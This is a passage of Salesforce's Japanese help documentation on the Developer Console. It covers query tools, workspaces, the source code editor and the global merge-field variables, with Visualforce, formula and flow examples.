をクリックして [Execute (実行)] をクリックします。

クエリおよび検索の構文についての詳細は、『Force.com SOQL および SOSL リファレンス』を参照してください。

関連トピック:

開発者コンソールのクエリエディタ
クエリプランの取得
[Query Results (クエリ結果)] グリッド

クエリプランの取得
大量のレコードに対するクエリの実行を最適化して実行時間を短縮するには、クエリ実行プランツールを使用
します。SOQL クエリ、SOSL 検索、レポート、リストビューのクエリプランを表示できます。組織でカスタム
インデックスを使用できる場合は、クエリプランを見てSalesforceサポートにカスタムインデックスを要求する
時点を判断します。
クエリエディタの [Query Plan (クエリプラン)] ボタンを有効にするには、[ヘルプ] > [Preferences (個人設定)] をク
リックして、[Enable Query Plan (クエリプランを有効化)] を true に設定し、[Save (保存)] をクリックします。
SOQL クエリまたは SOSL 検索のクエリプランを取得するには、クエリを入力し、クエリエディタで [Query Plan

(クエリプラン)] ボタンをクリックします。
[Query Plan (クエリ実行プラン)] ウィンドウに、すべてのクエリ操作とそれぞれのコストが表示されます。[メモ]

ペインには、最上位のクエリプラン (現在使用されているクエリプラン) で使用可能なすべてのメモが表示され
ます。
レポートまたはリストビューのクエリプランを表示するには、次の手順を実行します。
1. URL でレポートまたはリストビューの ID を確認します。

2. クエリエディタにレポート ID またはリストビュー ID を入力して、[Query Plan (クエリプラン)] をクリックし
ます。
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3. レポートまたはリストビューのクエリプランを調べます。

関連トピック:

開発者コンソールのクエリエディタ
SOQL クエリまたは SOSL 検索の実行
[Query Results (クエリ結果)] グリッド

[Query Results (クエリ結果)] グリッド
[Query Results (クエリ結果)] グリッドには各レコードが 1 行として表示されます。開発者コンソールから離れず
にレコードを作成、更新、削除できます。複数のオブジェクトを含む SOSL 検索結果では、各オブジェクトが
別々のタブに表示されます。
• 結果のレコードを開くには、行をクリックし、[Open Detail Page (詳細ページを開く)]をクリックします。レ

コードを編集するには、[Edit Page (編集ページ)] をクリックして Salesforce のレコードにジャンプします。
• レコードを作成するには、[Insert Row (行を挿入)]をクリックします。情報を入力し、[Save Rows (行を保存)]

をクリックします。

メモ: 行を挿入するには、クエリ結果にオブジェクトの必須項目がすべて含まれている必要がありま
す。必須項目はシンプルテキスト項目または数値項目である必要があります。これらの条件が満たさ
れない場合、空白行が作成されますが、保存できません。この場合、[Create New (新規作成)]をクリッ
クして、Salesforce にレコードを作成します。

• [Query Results (クエリ結果)] グリッド内のレコードを編集するには、行をダブルクリックします。変更を行っ
てから [Save Rows (行を保存)] をクリックします。

• レコードを削除するには、関連する行を選択して [Delete Row (行を削除)] をクリックします。

関連トピック:

開発者コンソールのクエリエディタ
SOQL クエリまたは SOSL 検索の実行
クエリプランの取得

開発者コンソールコマンドラインリファレンス
開発者コンソールには、さまざまな便利なコマンドのコマンドラインが含まれます。開発者コンソールのコマ
ンドラインウィンドウを開いたり閉じたりするには、Ctrl+Shift+L キーを押します。

説明パラメータコマンド

すべてのコマンドのリストです。なしcommands

<Apex statements> を実行して
ログを生成します。

<Apex statements>: 1 つ以上の
Apex ステートメント。

exec <Apex statements>
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-o: [Enter Apex Code (Apex コードの入
力)] ウィンドウを開きます。
-r: [Enter Apex Code (Apex コードの入
力)] ウィンドウでコードを実行し、
ログを生成します。

なしexec [-o | -r]

ログの文字列を検索します。<string>: 文字列。find <string>

コマンドに関する情報の取得方法
を説明します。

なしhelp

コマンドの説明を表示します。<command>: コマンドラインウィン
ドウコマンド。

man <command>

開発者コンソールワークスペース
ワークスペースは、開発者コンソールのメインパネルにあり、一連のリソースを表すタブで構成されます。
各タブに表示される詳細ビューまたはエディタは、そのタブで開いているリソースの種別によって決まりま
す。たとえば、ソースコードはソースコードエディタで開き、ログはログインスペクタで開きます。一緒に使
用するリソースのグループごとにワークスペースを作成し、作業を整理しておくことができます。たとえば、
ソースコード用とデバッグログ用にそれぞれワークスペースを作成し、コーディングやテストを行うときに
ワークスペースを切り替えることができます。
[Workspace (ワークスペース)] には、必要なリンクがすべて含まれています。
• Switch Workspace (ワークスペースを切り替え): 保存されたワークスペースから選択できます。
• New Workspace (新規ワークスペース): 新しいワークスペースを作成します。ワークスペースの名前を入力し

て、[OK] をクリックします。ワークスペースで必要なリソースを開きます。ワークスペースは、別のワー
クスペースに切り替えるか、開発者コンソールを閉じると保存されます。

• Rename Current Workspace (現在のワークスペースの名前を変更): 入力した名前で現在のワークスペースを上
書きします。

• Workspace Manager (ワークスペースマネージャ): ポップアップを開いて、ワークスペースの参照、オープ
ン、作成、および削除ができるようにします。

開発者コンソールワークスペースでは、次の種別のリソースを開くことができます。
• ログ。ログインスペクタで開きます。
• チェックポイント。チェックポイントインスペクタで開きます。
• Apex クラスおよびトリガと Visualforce ページおよびコンポーネント。ソースコードエディタで開きます。
• 組織のメタデータとコード以外の他のリソース。オブジェクトインスペクタで開きます。
• [Query Editor (クエリエディタ)] タブに表示されるクエリ結果のリスト。編集可能な [Query Results (クエリ結果)]

グリッドで開きます。
• [Tests (テスト)]タブに表示される完了したテスト実行のリスト。[Test Results (テスト結果)] ビューで開きます。
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使用していないパネルを折りたたむには、 ボタンを使用します。折りたたまれている場合は、パ
ネルをクリックすると、一時的に表示して使用できます。カーソルをパネルの外に移動すると、パネルは自動
的に折りたたまれます。
別のワークスペースに切り替えたり、開発者コンソールを閉じたりするときに、現在のワークスペースのタブ
(およびタブ内のパネル) の状態が保存されます。ワークスペースを作成していない場合、設定は [Default (デフォ
ルト)] ワークスペースとして保存されます。

タブ間の移動
ワークスペース内のタブを左右に移動するには、該当するタブをクリックするか、次のキーボードショート
カットを使用します。
• 左: Ctrl + Page Up

• 右: Ctrl + Page Down

ビュー履歴の移動

ビュー履歴を前方または後方に移動するには、 ボタンをクリックするか、次のキーボードショート
カットを使用します。
• 後方: Ctrl + ,

• 前方: Ctrl + .

をクリックすると (または Ctrl キーを押しながら「,」キーを押すと)、表示した順に以前に表示したタブに

移動します。 ボタンは、履歴を表示中にのみ有効になります。

関連トピック:

開発者コンソールユーザインターフェースの概要
ソースコードエディタ

コードの使用
このセクションでは、コードを使用して組織に変更を行う場合に使用できるツールと技術について説明しま
す。

Visualforce または Apex のエディタの使用
ソースコードエディタ
開発者コンソールには、Apex および Visualforce コードを編集するための機能コレクションを持つ、ソース
コードエディタが含まれています。
オブジェクトインスペクタ
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グローバル変数
カスタムボタンとカスタムリンク、カスタム項目の数式、入力規則、フロー、プロセス、および Visualforce

ページなどのコンポーネントでは、特殊な差し込み項目を使用して、組織のデータを参照できます。
$Action グローバル変数の有効な値
すべてのオブジェクトで、新規作成、コピー、表示、編集、リスト、削除などの基本アクションがサポー
トされています。$Actionグローバル変数は、多くの標準オブジェクトで使用できるアクションも参照し
ます。組織で使用可能な値は、有効化している機能によって異なります。
Apex コードの概要
Visualforce

Visualforceは、Force.comプラットフォームでネイティブにホストできる高度なカスタムユーザインターフェー
スを、開発者が作成できるようにするフレームワークです。Visualforceフレームワークには、HTML に似たタ
グベースのマークアップ言語、およびクエリや保存など、基本的なデータベース操作を非常に簡単に実行
できるサーバ側の「標準コントローラ」のセットが含まれています。
Lightning コンポーネントフレームワーク
Lightning コンポーネントフレームワークは、モバイルデバイス用およびデスクトップデバイス用の動的な
Web アプリケーションを開発する UI フレームワークです。これは、拡張性に優れた単一ページアプリケー
ションを構築する最新のフレームワークです。
コードのセキュリティ保護
このセクションでは、コードのセキュリティ保護の実装について説明します。
メールサービス
メールサービスを使用して、受信メールの内容、ヘッダーおよび添付ファイルを処理できます。たとえば、
メッセージに含まれる取引先責任者情報に基づいて、取引先責任者レコードを自動的に作成するメールサー
ビスを作成できます。

関連トピック:

メールサービス
カスタム表示ラベル
Sコントロールについて
カスタムメタデータ型
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Visualforce または Apex のエディタの使用

エディション

使用可能なエディション:
Salesforce Classic

Apex を使用可能なエディ
ション: Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

エディション

使用可能なエディション:
Salesforce Classic

Visualforceを使用可能なエ
ディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

Visualforceマークアップを
編集する
• 「アプリケーションの

カスタマイズ」

カスタム Visualforce コン
トローラまたはApexを編
集する
• 「Apex 開発」

VisualforceまたはApexを編集するとき、Visualforce開発モードのフッターまたは設
定のいずれかで、エディタを使用できます。エディタの機能は、次のとおりで
す。
構文の強調表示

エディタは、キーワードとすべての関数および演算子について、自動的に構
文を強調表示します。

検索 ( )

検索により、現在のページ、クラス、またはトリガの中のテキストを検索で
きます。検索を使用するには、[検索]テキストボックスに文字列を入力し、
[次を検索] をクリックします。
• 検出した検索文字列を他の文字列に置き換えるには、[置換]テキストボッ

クスに新しい文字列を入力し、そのインスタンスだけを置き換える場合
は [置換] をクリックし、そのインスタンスと、それ以外にそのページ、
クラス、またはトリガに出現する検索文字列のすべてのインスタンスを
置き換える場合は、[すべて置換] をクリックします。

• 検索操作で大文字小文字を区別するには、[大文字と小文字を区別する]オ
プションをオンにします。

• 検索文字列として正規表現を使用するには、[正規表現]オプションをオン
にします。正規表現は、JavaScript の正規表現規則に従います。正規表現を
使った検索では、折り返しされて複数行になる文字列も検索できます。
正規表現で検出した文字列を置換操作で使用する場合、検出した検索文
字列から得られる正規表現のグループ変数 ($1、$2 など) をバインドする
こともできます。たとえば、<h1> タグを <h2> タグで置き換え、元の
<h1> の属性はすべてそのままにするには、<h1(\s+)(.*)> を検索し、
それを <h2$1$2> で置き換えます。

指定行に移動 ( )

このボタンにより、指定した行番号を強調表示できます。その行が現在表示
されていない場合は、エディタがその行までスクロールします。

元に戻す ( ) またはやり直し ( )

[元に戻す] を使用して編集動作を取り消し、[やり直し] により、元に戻した
編集動作をやり直します。

フォントサイズ
ドロップダウンリストからフォントサイズを選択し、エディタに表示される文字のサイズを制御します。

行と列の位置
カーソルの行と列の位置は、エディタ下部のステータスバーに表示されます。これは、[指定行に移動] ( )

と共に使用し、エディタ内をすばやく移動できます。
行と文字の計数

行と文字の合計数は、エディタ下部のステータスバーに表示されます。
エディタは、次のキーボードショートカットをサポートします。
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タブ
カーソル位置にタブを追加する

SHIFT+Tab

タブを削除する
CTRL+f

[検索] ダイアログを開く、または、現在の検索の次の検索値を検索する
CTRL+r

[検索] ダイアログを開く、または、現在の検索の次の検索値を指定した置換文字列に置き換える
CTRL+g

[指定行に移動] ダイアログを開く
CTRL+s

適用の実行
CTRL+z

最後の編集操作を取り消します。
CTRL+y

元に戻した最後の編集操作をやり直します。

関連トピック:

Apex コードの概要
Visualforce

ソースコードエディタ
開発者コンソールには、Apex および Visualforce コードを編集するための機能コレクションを持つ、ソースコー
ドエディタが含まれています。
Apex クラス、Apex トリガ、Visualforce ページ、Visualforce コンポーネントなどすべてのコードファイルは、開発
者コンソールワークスペースのソースコードエディタで開きます。
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ソースコードエディタで強調表示されている構文では、コメント、数値、文字列、予約キーワード、プリミ
ティブデータ型、変数宣言、および参照がコールアウトされています。コード検索にアクセスするには、CTRL+F

キーを押します。
テストの実装後、ソースコードエディタに行単位のコードカバー率を確認できます。「コードカバー率のチェッ
ク」を参照してください。ソースコードエディタでは、チェックポイントを設定してコードを更新せずにトラ
ブルシューティングすることもできます。「Apex コードへのチェックポイントの設定」を参照してください。
ソースコードエディタと全画面エディタを切り替えるには、F11 キーを押します (使用可能な場合)。

ソースコードエディタ設定の指定
ソースコードエディタのフォントサイズと表示テーマを選択できます。[Help (ヘルプ)] > [Preferences (個人設定)]

をクリックして、[Preferences (個人設定)] ダイアログにアクセスします。

[Editor Theme (エディタのテーマ)] を選択してプレビューします。
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[Preferences (個人設定)] ウィンドウには、権限と実装に基づいて追加の設定オプションが表示されます。これに
は、コード補完の有効化 (ページ6546)や [Logs (ログ)] タブでのログ読み込みの停止 (ページ6854)などがあります。
[Save (保存)] をクリックして設定を更新し、ウィンドウを閉じます。

メソッドおよび変数宣言への移動
メソッド宣言または変数宣言にスクロールしたり、これらを検索したりせずに、直接移動することができま
す。
1. メソッド名または変数名にマウスポインタを置きます。メソッド名または変数名が未定義の場合は、その

宣言に移動できます。
2. 未定義のメソッド名または変数名をクリックします。
3. CTRL+ALT+N キーを押すか、[Go To (移動)] をクリックして、宣言にカーソルを移動します。宣言が別のファ

イルにある場合、新しいタブにそのファイルが開きます。

検索と置換の使用
現在のビュー内でテキストを検索して置換するには、次のキーボードショートカットを使用します。

メモショートカット関数

有効な検索フォームを開きます。CTRL+F検索

検索語と置換語の入力を要求するダイア
ログを開き、変更ごとに確認または拒否
できるようにします。

CTRL+SHIFT+F置換

検索語と置換語の入力を要求するダイア
ログを開き、全体の変更を確認または拒
否できるようにします。

CTRL+SHIFT+Rすべて置換

現在のビューで開かれていないファイルを検索するには、[File (ファイル)] > [Search in Files (ファイルを検索)]を
クリックするか、Ctrl+Shift+H キーを押します。

コード補完の使用
ソースコードエディタでは、コードの記述時にオートコンプリート候補表示機能を使用できます。
Visualforce ページおよびコンポーネントでは、入力と同時にオートコンプリートが自動的に表示されます。
Apex クラスおよびトリガでは、Ctrl キーを押しながらスペースキーを押すと、補完候補のリストが表示されま
す。オートコンプリートは、Apex のシステムオブジェクトとメソッド、ユーザ定義のオブジェクトとメソッ
ド、sObject、および項目に使用できます。期間を入力するときの Apex のオートコンプリートを有効にするに
は、[Help (ヘルプ)] > [Preferences (個人設定)] をクリックし、[Enable Apex Auto-complete (Apex オートコンプリー
トを有効化)] を true に設定します。
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そのまま入力を続けて候補を絞り込み、Enter キーを押して先頭の候補を選択、あるいは矢印キーまたはマウ
スを使用して別の候補を選択します。
候補は、現在作業中のオブジェクトから収集されます。期待する候補が表示されない場合は、開いているオブ
ジェクトを保存して更新します。オブジェクト種別は、現在のエディタの記号テーブルによって特定されま
す。一致する記号がない場合は、キャッシュされた記号テーブル (最後の有効な保存) も確認されます。現在の
オブジェクトがない場合は、すべてのシステムクラスとユーザクラスおよび sObject がオートコンプリートウィ
ンドウに表示されます。

ソースコードの変更の検証: [Problems (問題)] タブ
ソースコードエディタで行った変更はバックグラウンドでコンパイルおよび検証されます。コードを編集中、
エラーのある行にはエラーインジケータが表示され、下部パネルの[Problems (問題)]タブにはコンパイルエラー
の詳細が表示されます。[Problems (問題)] タブを折りたたむには、パネルの隅にある を使用します。
ソースビューの検証では、すべての変更されたソースが個々にではなくまとめて検証されます。あるファイル
にメソッドを追加して別のファイルでそのメソッドをコールするなど、サーバ上のコードとの整合性はない
が、まとめて検証すると整合性のある変更は、エラーとしてレポートされません。

API バージョンの変更
ソースコードエディタ上部にある [API バージョン] リストを使用して、現在のエンティティのバージョンを変
更します。リストには、最新の 5 つの API バージョンとエンティティの現在のバージョンが含まれます。

変更の保存
ソースコードエディタで変更を行うと、変更が保存されていないことを示す「*」がタブの名前に表示されま
す。Apex クラスおよびトリガは、クラスまたはトリガの最新の API バージョンで保存されます。
連動関係のある一連の変更を保存するには、[File (ファイル)] > [Save All (すべて保存)] をクリックするか、
Ctrl+Shift+S キーを押します。1 回の要求で、開いていて変更されたタブすべてがまとめて保存されます。
変更したソースビューは、保存するときにすべての保存済みソースファイルに対して検証されます。関連する
変更がソースファイルに含まれている場合は、ファイルを個別に保存できません。コンパイルエラーがある場
合は、保存できません。[Problems (問題)]パネルを確認し、エラーを修正して、再度 [Save (保存)]をクリックし
ます。

メモ: 本番組織の Apex クラスを編集および保存することはできません。
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Cloud でのコードの同期
開発者コンソールでは、ユーザがファイルを開いている間に、他のユーザによってソースに加えられた変更を
追跡します。まだ変更していない場合は、ビューが自動的に更新されます。すでに変更した場合は、変更を
サーバに保存できなくなります。他のユーザが変更を行ったことを知らせるアラートと共に、ソースビューを
最新バージョンに更新するオプションが表示されます。

警告: ファイルの最新バージョンに更新することを選択すると、自分が行った変更は上書きされます。
ソースビューから自分で変更したバージョンをコピーして保存しておき、最新バージョンに更新してか
ら変更内容を組み込みます。

関連トピック:

開発者コンソールユーザインターフェースの概要
コードカバー率のチェック
Apex コードへのチェックポイントの設定
開発者コンソールの [File (ファイル)] メニュー

オブジェクトインスペクタ
オブジェクトインスペクタでは、標準オブジェクトまたはカスタムオブジェクトの項目とデータ型を参照でき
ます。オブジェクトインスペクタを開くには、[File (ファイル)] > [Open (開く)] をクリックして、表示するオブ
ジェクトを選択します。特定の条件に一致するオブジェクトを検索するには、開発者コンソールのクエリエ
ディタを使用します。
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メモ: 開発者コンソールではカスタムオブジェクトを変更することはできません。[設定] でカスタムオブ
ジェクトを作成、編集、または削除します。

関連トピック:

開発者コンソールの機能
オブジェクト管理設定の検索

グローバル変数

エディション

使用できる各グローバル
変数は、関連機能の環境
とエディション要件に
よって異なります。

ユーザ権限

カスタムSコントロール、
数式、または Visualforce
ページを作成、編集、お
よび削除する
• 「アプリケーションの

カスタマイズ」

フローとプロセスを編集
する
• 「Force.com Flow の管

理」

カスタムボタンとカスタムリンク、カスタム項目の数式、入力規則、フロー、
プロセス、および Visualforceページなどのコンポーネントでは、特殊な差し込み
項目を使用して、組織のデータを参照できます。

メモ: ユーザ、組織、および API の差し込み項目のみが、Web タブで使用で
きます。

カスタムコンポーネントに追加する差し込み項目の種類を選択するときには、
次のグローバル変数を使用します。

$Action

[取引先] タブのホームページの表示、取引先の新規作成、取引
先の編集、取引先の削除など、標準 Salesforce アクションを参照
する際に使用するグローバル差し込み項目の種別です。選択し
たアクションを参照するには、LINKTO および URLFOR 関数で
アクション差し込み項目を使用します。

説明:

使用: 1. 項目の種類として $Action を選択します。
2. $Action.Account.New のように、

$Action.object.action の形式で差し込み項目を挿入し
ます。

以下の Sコントロールは、$Action.Account.New 差し込み項
目中の新規取引先を作成する標準のアクションを参照します。
<html> <body> {!LINKTO("Create a New Account",

$Action.Account.New,
$ObjectType.Account)} </body> </html>

Sコントロー
ルの例:

<apex:outputLink
value="{!URLFOR($Action.Account.New)}">Create New
Account</apex:outputLink>

Visualforce の
例:

このグローバル変数はカスタムボタン、リンク、Sコントロー
ル、および Visualforce ページでのみ使用できます。

ヒント:
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すべてのオブジェクトで、新規作成、コピー、表示、編集、リスト、削除などの基本アクションがサポートさ
れています。$Action グローバル変数は、多くの標準オブジェクトで使用できるアクションも参照します。
組織で使用可能な値は、有効化している機能によって異なります。

$Api

API URL を参照する際に使用するグローバル差し込み項目の種別です。説明:

使用: 1. 項目の種類として $Api を選択します。
2. 次のような差し込み項目を選択します。

• $Api.Enterprise_Server_URL__xxx: Enterprise WSDL SOAP エンドポイント。xxx

はAPIのバージョンを示します。たとえば、$Api.Enterprise_Server_URL_140

は、バージョン 14.0 の API の差し込み項目値です。
• $Api.Partner_Server_URL__xxx: Partner WSDL SOAP エンドポイント。xxx は API

のバージョンを示します。
• $Api.Session_ID: セッション ID。

下記のカスタム数式項目は、産業コードを置換するサービスを呼び出します。myserver

を自分のサーバの名前で置き換えてください。
HYPERLINK("https://www.myserver.com/mypage.jsp" &
"?Username=" & $User.Username &

Sコントロールの
例:

"&crmSessionId=" & GETSESSIONID() &
"&crmServerUrl=" & $Api.Partner_Server_URL_90 &
"&crmObjectId=" & Id &
"&crmFieldUpdate=sicCode",
"Update SIC Code")

ドット表記を使用してセッション ID を返します。
{!$Api.Session_ID}

Visualforce および
フローの例:

このグローバル変数は、数式項目、Sコントロール、カスタムボタン、リンク、Visualforce

ページ、フロー数式、およびプロセス数式でのみ使用できます。
ヒント:

重要: $Api.Session_ID と GETSESSIONID() では、同じ値 (現在のコンテキスト
の現在のセッションの識別子) が返されます。このコンテキストは、グローバル変
数または関数が評価される場所によって異なります。たとえば、カスタム数式項
目でいずれかを使用し、その項目が Salesforce Classicの標準ページレイアウトに表示
される場合、基本的な Salesforce セッションが参照されます。Visualforce ページで使
用される場合、その同じ項目 (または基礎となる変数か数式の結果) で、代わりに
Visualforce セッションが参照されます。
セッションコンテキストは、要求のドメインに基づきます。つまり、セッション
コンテキストは、.salesforce.com から .visual.force.com または
.lightning.force.com など、ホスト名の境界を越えるたびに変更されます。
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各種コンテキストのセッション識別子と、セッション自体は異なります。コンテ
キスト間を移行すると、古いセッションは新しいセッションで置き換えられ、古
いセッションは無効になります。このときセッション ID も変更されます。
通常、Salesforceではコンテキスト間のセッションハンドオフが透過的に処理されま
すが、セッション ID を渡す場合は、新しいコンテキストから $Api.Session_ID

または GETSESSIONID()に再度アクセスして、有効なセッション ID にする必要が
ある場合もあります。
すべてのセッションが同じように作成されるわけではありません。特に、Lightning

Experienceコンテキストで取得したセッションの権限は低いため、API にアクセスで
きません。これらのセッション ID を使用して、API コールを行うことはできませ
ん。

$Component

Visualforceコンポーネントを参照する際に使用するグローバル差し込み項目の種別です。説明:

Visualforce ページの各コンポーネントには、固有の Id 属性があります。ページが表示さ
れるとき、この属性は、ドキュメントオブジェクトモデル (DOM) ID の生成に使用されま

使用:

す。JavaScript で $Component.Path.to.Id を使用して、ページ上の特定のコンポーネ
ントを参照します。Path.to.Idは、参照するコンポーネントのコンポーネント階層指
定子です。

function beforeTextSave() {
document.getElementById('{!$Component.msgpost}').value =

Visualforce の例:

myEditor.getEditorHTML();
}

このグローバル変数は、Visualforce ページでのみ使用可能です。ヒント:

$ComponentLabel

メッセージに関連付けられているVisualforceページで、inputFieldコンポーネントのラ
ベルを参照するときに使用するグローバル差し込み項目です。

説明:

メッセージに関連付けられている inputField コンポーネントのラベルを返します。使用:

<apex:datalist var="mess" value="{!messages}">
<apex:outputText value="{!mess.componentLabel}:" style="color:red"/>

Visualforce の例:

<apex:outputText value="{!mess.detail}" style="color:black" />
</apex:datalist>

このグローバル変数は、Visualforce ページでのみ使用可能です。ヒント:
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$CurrentPage

現在の Visualforce ページまたはページ要求を参照するときに使用するグローバル差し込
み項目の種別です。

説明:

このグローバル変数を Visualforce ページで使用して、現在のページ名
($CurrentPage.Name) または現在のページの URL ($CurrentPage.URL)を参照します。

使用:

ページ要求パラメータとその値を参照するには、
$CurrentPage.parameters.parameterNameを使用します。parameterNameは、参
照している要求パラメータです。

<apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">

Visualforce の例:

You belong to the {!account.name} account.<br/>
You're also a nice person.

</apex:pageBlock>
<apex:detail subject="{!account}" relatedList="false"/>
<apex:relatedList list="OpenActivities"
subject="{!$CurrentPage.parameters.relatedId}"/>

</apex:page>

このグローバル変数は、Visualforce ページでのみ使用可能です。ヒント:

$FieldSet

組織に定義された項目セットへのアクセスを提供します。説明:

Visualforceページで使用して、項目セットの項目を動的に反復処理します。このグローバ
ル変数には、項目セットを持つ標準オブジェクトまたはカスタムオブジェクトへの参照
をプレフィックスとして付ける必要があります。

使用:

<apex:page standardController="Account">
<apex:repeat value="{!$Account.FieldSet.mySpecialFields}"

Visualforce の例:

var="field">
<apex:outputText value="{!field}" />

</apex:repeat>
</apex:page>

このグローバル変数は、Visualforce ページでのみ使用可能です。ヒント:

$Label

カスタム表示ラベルを参照するときに使用するグローバル差し込み項目の種別です。説明:

使用: 1. 項目の種類として $Labelを選択します。
2. 参照するカスタム表示ラベルを選択します。

6552

コードの使用コードを使用した Salesforce の拡張



返される値はコンテキストユーザの言語設定によって異なります。返される値は、優
先順に次のいずれかとなります。
1. ローカル翻訳のテキスト
2. パッケージ翻訳のテキスト
3. マスタ表示ラベルのテキスト

次の式でフロー数式を作成します。
{!$Label.customCurrency_label}

フローの例:

次に、そのフロー数式を画面項目の表示ラベルとして参照します。

<apex:page>
<apex:pageMessage severity="info"

Visualforce の例:

strength="1"
summary="{!$Label.firstrun_helptext}"
/>

</apex:page>

デフォルトの名前空間を使用するマークアップ式の表示ラベル
{!$Label.c.labelName}

Lightning コンポー
ネントの例:

組織に名前空間がある場合の JavaScript コードの表示ラベル
$A.get("$Label.namespace.labelName")

このグローバル変数は、Lightning コンポーネント、Visualforce ページ、Apex、フロー数
式、およびプロセス数式でのみ使用できます。

ヒント:

$Label.Site

Visualforceページの標準サイト表示ラベルを参照する際に使用するグローバル差し込み項
目の種別です。すべての標準表示ラベルと同様、テキストはユーザの言語および地域に
基づいて表示されます。

説明:

この式を Visualforce ページで使用し、標準サイト表示ラベルにアクセスします。アプリ
ケーションサーバでページをエンドユーザのブラウザに表示するよう構成している場
合、返される値はユーザの言語とロケールによって異なります。
Salesforce には、次の表示ラベルがあります。

メッセージ表示ラベル

使用:

認証が必要ですauthorization_required

帯域幅の制限を超えていますbandwidth_limit_exceeded

パスワードの変更change_password
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メッセージ表示ラベル

パスワードを変更するchange_your_password

パスワードを忘れた場合は、[パスワードを忘れ
た場合] をクリックしてパスワードをリセットし
ます。

click_forget_password

ニックネームcommunity_nickname

確認用パスワードconfirm_password

<i>{0}</i> は、メンテナンスのため停止していま
す

down_for_maintenance

メールemail

メールを送信email_us

パスワードを忘れてしまった場合は、以下にユー
ザ名を入力してください。

enter_password

エラー: {0}error

エラーerror2

ファイルが見つかりませんfile_not_found

パスワードを忘れた場合forgot_password

パスワード忘れの確認forgot_password_confirmation

パスワードをお忘れですか?forgot_your_password_q

連絡を取る必要がある場合は、<a href="{0}">{1}</a>

してください。
get_in_touch

ログインページに移動go_to_login_page

/img/sitesimg_path

メンテナンスによる停止in_maintenance

制限数を超えましたlimit_exceeded

ログインlogin

ログインlogin_button

このページにアクセスするには、最初にログイン
または登録が必要です。

login_or_register_first

ログアウトlogout

新しいパスワードnew_password
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メッセージ表示ラベル

新規ユーザですか?new_user_q

現在のパスワードold_password

ページが見つかりませんpage_not_found

ページが見つかりません: {0}page_not_found_detail

パスワードpassword

パスワードが一致しません。passwords_dont_match

Powered bypowered_by

登録register

登録の確認registration_confirmation

サイトログインsite_login

サイト構築中site_under_construction

ご不便をお掛けして大変申し訳ございません。sorry_for_inconvenience

ご不便をお掛けして大変申し訳ございません。す
ぐに復旧いたします。

sorry_for_inconvenience_back_shortly

このまましばらくお待ちくたさい。stay_tuned

送信submit

仮のパスワードがメールで送信されました。temp_password_sent

ご登録ありがとうございます。仮のパスワードが
メールで送信されました。

thank_you_for_registering

<i>{0}</i> は構築中です。under_construction

新規ユーザの登録user_registration

ユーザ名username

新しいパスワードの確認verify_new_password

<apex:page>
<apex:pageMessage severity="info"

Visualforce の例:

strength="1"
summary="{!$Label.Site.temp_password_sent}"
/>

</apex:page>
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このグローバル変数は、Visualforce ページでのみ使用可能です。ヒント:

$Network

Visualforce メールテンプレートでコミュニティの詳細
を参照するときに使用するグローバル差し込み項目の
種別です。

説明:

この式を Visualforce メールテンプレートで使用し、コ
ミュニティの名前とコミュニティのログイン URL にア
クセスします。

使用:

<messaging:emailTemplate subject="Your
Password has been reset"

Visualforce の例:

recipientType="User" >
<messaging:htmlEmailBody >
<p>Hi,</p>
<p>Your password for

<b>{!$Network.Name}</b> community has been
reset.</p>
<p><a

href='{!$Network.NetworkUrlForUserEmails}'>Reset
Password</a></p>
<p>Regards,</p>
<p>Communities Admin</p>

</messaging:htmlEmailBody>
</messaging:emailTemplate>

このグローバル変数は、コミュニティのVisualforceメー
ルテンプレートでのみ機能します。

ヒント:

$ObjectType

標準オブジェクトまたはカスタムオブジェクト (取引先、ケース、商談など) およびその
項目の値を参照する際に使用するグローバル差し込み項目の種別です。特定のデータ型

説明:

を参照するには、LINKTO、GETRECORDIDS、および URLFOR 関数でオブジェクト種別
差し込み項目を使用し、関連オブジェクトの特定項目を参照するには、VLOOKUP 関数
でオブジェクト種別差し込み項目を使用します。

使用: 1. 項目の種類として $ObjectType を選択します。
2. $ObjectType.Case のように、オブジェクトを表す差し込み項目を挿入するオブ

ジェクトを選択します。
$ObjectType.Role_Limit__c.Fields.Limit__cという構文を使用して、そのオ
ブジェクトの項目を選択することもできます。
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下のカスタムリストボタンは、$ObjectType.Case 差し込み項目内のケース標準オブ
ジェクトを参照します。
{!REQUIRESCRIPT ("/soap/ajax/13.0/connection.js")} var records =

{!GETRECORDIDS($ObjectType.Sample)}; var newRecords

カスタムボタンの
例:

= []; if (records[0] == null) { alert("Please select at least one row")
} else {

for (var n=0; n<records.length; n++) { var c = new
sforce.SObject("Case"); c.id = records[n]; c.Status = "New";

newRecords.push(c); } result =
sforce.connection.update(newRecords); window.location.reload(); }

この例では、請求先の郵便番号の最初の 5 文字で、米国内で有効なすべての郵便番号を
格納している Zip_Code__c というカスタムオブジェクトの値を検索し、請求先郵便番号

入力規則の例:

が有効であることを確認します。郵便番号が Zip_Code__c オブジェクトで見つからない
場合や、都道府県 (請求先) が、Zip_Code__c オブジェクト内の対応する State_Code__c と
一致しない場合には、エラーが表示されます。
AND( LEN(BillingPostalCode) > 0, OR(BillingCountry = "USA",
BillingCountry = "US"),

VLOOKUP( $ObjectType.Zip_Code__c.Fields.State_Code__c,
$ObjectType.Zip_Code__c.Fields.Name, LEFT(BillingPostalCode,5)) <>

BillingState )

次の例では、取引先の Name 項目の表示ラベルを取得します。
{!$ObjectType.Account.Fields.Name.Label}

Visualforce の例:

このグローバル変数は、Visualforce ページ、カスタムボタンおよびカスタムリンク、Sコ
ントロール、および入力規則で使用できます。

ヒント:

$Organization

組織プロファイルを参照する際に使用するグローバル差し込み項目の種別です。
Organization 差し込み項目を使用して、組織の市区郡、Fax、ID、その他の詳細情報を参照
します。

説明:

使用: 1. 項目の種類として $Organization を選択します。
2. $Organization.Fax のように差し込み項目を挿入します。

Organization 差し込み項目を使用して、組織の属性と自身の取引先の属性を比較します。
たとえば、組織の所在地が自分の取引先と同じかどうかを判断するとします。下記の入

入力規則の例:

力規則数式は、組織の Country 差し込み項目を参照し、外国の取引先の場合には国コー
ドを要求します。
AND($Organization.Country <> BillingCountry, ISBLANK(Country_Code__c))
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式 {!$Organization.City}でフロー数式 (Text) を作成します。決定要素で、取引先責
任者の市区郡がその数式と一致するかどうかを確認します。

フローの例:

組織の情報にアクセスするには、ドット表記を使用します。次に例を示します。
{!$Organization.Street}
{!$Organization.State}

Visualforce の例:

